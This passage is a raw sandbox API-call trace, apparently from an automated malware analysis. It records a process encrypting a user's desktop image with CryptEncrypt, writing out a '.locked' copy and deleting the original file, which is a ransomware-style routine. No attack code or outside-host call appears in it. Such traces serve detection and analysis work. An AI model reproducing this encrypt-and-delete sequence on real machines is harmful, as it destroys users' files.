lpOverlapped=0x0 | out: lpBuffer=0x69f74e0*, lpNumberOfBytesWritten=0x99ae634*=0x5594, lpOverlapped=0x0) returned 1 [0127.357] ReadFile (in: hFile=0x868, lpBuffer=0x69e24e8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x69e24e8*, lpNumberOfBytesRead=0x99ae65c*=0x0, lpOverlapped=0x0) returned 1 [0127.357] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69fca98*, pdwDataLen=0x99ae6a4*=0x10, dwBufLen=0x10 | out: pbData=0x69fca98*, pdwDataLen=0x99ae6a4*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69fcacc*, pdwDataLen=0x99ae6ac*=0x0, dwBufLen=0x10 | out: pbData=0x69fcacc*, pdwDataLen=0x99ae6ac*=0x10) returned 1 [0127.357] WriteFile (in: hFile=0x858, lpBuffer=0x69ddd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae67c, lpOverlapped=0x0 | out: lpBuffer=0x69ddd90*, lpNumberOfBytesWritten=0x99ae67c*=0x10, lpOverlapped=0x0) returned 1 [0127.357] CloseHandle (hObject=0x858) returned 1 [0127.360] CloseHandle (hObject=0x868) returned 1 [0127.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.360] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.360] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.360] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.360] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.362] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0127.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ade54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.362] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.362] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.363] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.363] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.363] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.363] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.364] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.364] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.364] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.364] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.364] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.364] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.364] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.364] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.364] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.364] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.365] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0127.365] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0127.365] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0127.365] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0127.365] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0127.365] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99adddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.365] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.366] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99adf18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3d8) returned 1 [0127.366] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.366] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg\\", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg\\", lpFilePart=0x0) returned 0x4b [0127.366] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg\\*", lpFindFileData=0x99ae100 | out: lpFindFileData=0x99ae100) returned 0xffffffff [0127.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae39c) returned 1 [0127.366] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.366] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.367] CoTaskMemFree (pv=0x8ebb8c8) [0127.368] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0127.368] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99adea4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.368] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2fc) returned 1 [0127.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg"), fInfoLevelId=0x0, lpFileInformation=0x6a13330 | out: lpFileInformation=0x6a13330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511ef7e0, ftCreationTime.dwHighDateTime=0x1d4ac67, ftLastAccessTime.dwLowDateTime=0x70e19900, ftLastAccessTime.dwHighDateTime=0x1d4a2aa, ftLastWriteTime.dwLowDateTime=0x70e19900, ftLastWriteTime.dwHighDateTime=0x1d4a2aa, nFileSizeHigh=0x0, nFileSizeLow=0x658e)) returned 1 [0127.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2f8) returned 1 [0127.368] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 1 [0127.370] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.370] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="爀ࣧ") returned 0x0 [0127.370] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.370] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.371] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.372] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg.locked")) returned 0x20 [0127.372] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg.locked")) returned 0x20 [0127.372] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adf0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", lpFilePart=0x0) returned 0x51 [0127.372] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", nBufferLength=0x105, lpBuffer=0x99aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", lpFilePart=0x0) returned 0x51 [0127.372] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.373] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.373] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.374] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.374] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.374] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.377] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.377] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.377] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.381] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.381] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.383] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.384] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.384] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.384] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.384] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.386] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.387] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.387] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.387] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | 